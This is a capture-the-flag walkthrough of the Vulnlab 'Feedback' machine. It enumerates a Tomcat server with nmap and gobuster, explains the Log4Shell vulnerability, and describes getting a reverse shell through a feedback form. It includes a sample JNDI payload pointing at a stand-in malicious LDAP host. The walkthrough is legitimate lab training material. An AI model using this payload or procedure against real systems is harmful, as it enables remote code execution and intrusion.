Feedback
A walkthrough of the Feedback box from Vulnlab.
I will add the IP address to my /etc/hosts file and map it to the name feedback. This will make it easier than having to remember the ip address or keep looking it up.

We will begin with an nmap scan to discover which ports are open, and the services running on them. I used the command below:
nmap -T4 -p- feedback.localFrom the output, we can see that only 2 ports are open: 22 and 8080.

We can run another command to get more details on the specific open ports.
nmap -A -T4 -p 22,8080 feedback.local
From the screenshot above, we get more details on the services running on the machine. On port 22 we are running OpenSSH version 7.6p1 and on port 8080 we have the Apache Tomcat web server version 9.0.56.
Let us begin with enumerating the web server by navigating to http://feedback.local:8080 on our browser.
We are presented with the default installation page of Apache Tomcat.

However, all other pages, such as "Manager App", that we could have used to manage the web server are restricted (see screenshot below).

We will have to look for another way in.
Let us carry out fuzzing to look for hidden folders and/or files. We will use the tool gobuster for this exercise.
The command I ran was:
gobuster dir -u http://feedback.local:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtWe get some results back.

Let's check the /feedback directory since it's similar in name to our machine.
We come across a feedback form

Upon submitting some dummy data, we receive the message below.

The word "logged" might be a clue.
We know that Apache Tomcat is a java-based web server, and it uses a logging library known as Log4j. On 9th December 2021, a critical vulnerability (CVE-2021-44228) named Log4Shell was discovered on the Log4j library which could lead to Remote Code Execution (RCE) on underlying servers.
Furthermore, some quick googling revealed that the version of Apache Tomcat running on the server was released on 8th December 2021. A day before the Log4j vulnerability was first announced to the public.
This means that the web server could be vulnerable. Let's find out. But first, some technical details.
Log4j Vulnerability Explained
The Log4j library is widely used for logging in Java applications. The vulnerability lies in the JNDI (Java Naming and Directory Interface) lookup feature that Log4j supports. JNDI allows Java applications to look up objects like Java objects or services via URLs.
An attacker crafts a malicious payload containing a JNDI lookup string. This string typically looks something like this:
${jndi:ldap://malicious-server.com/a}The attacker sends the payload to the target application in a way that it gets logged. This can be through various input fields, headers, or any other data that gets logged by the application using Log4j. In our case, this is the feedback form.
The attacker’s malicious server responds to the JNDI lookup with a reference to a Java class file hosted on the malicious server. Log4j then downloads and executes this Java class.
The downloaded Java class contains code that the attacker wants to execute on the target server. In our case, we will be opening a reverse shell.
Let's now exploit this.
Log4j Exploited
To exploit the vulnerability, we will utilize the proof-of-concept script for the Log4Shell attack.
This script will setup an HTTP server and an LDAP server and it will also create the payload that we can then use to paste into the vulnerable feedback parameter. After that, we should have a Linux reverse shell. We will need to get the proper Java version. You can get it from here: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html or from some other trusted source.
When we run the exploit script we can see that it worked and we now have a payload to send to the target:

Let us input that payload on our feedback form.

Upon clicking send, we get a connection back to our listener, and a reverse shell on the machine.
Last updated
Was this helpful?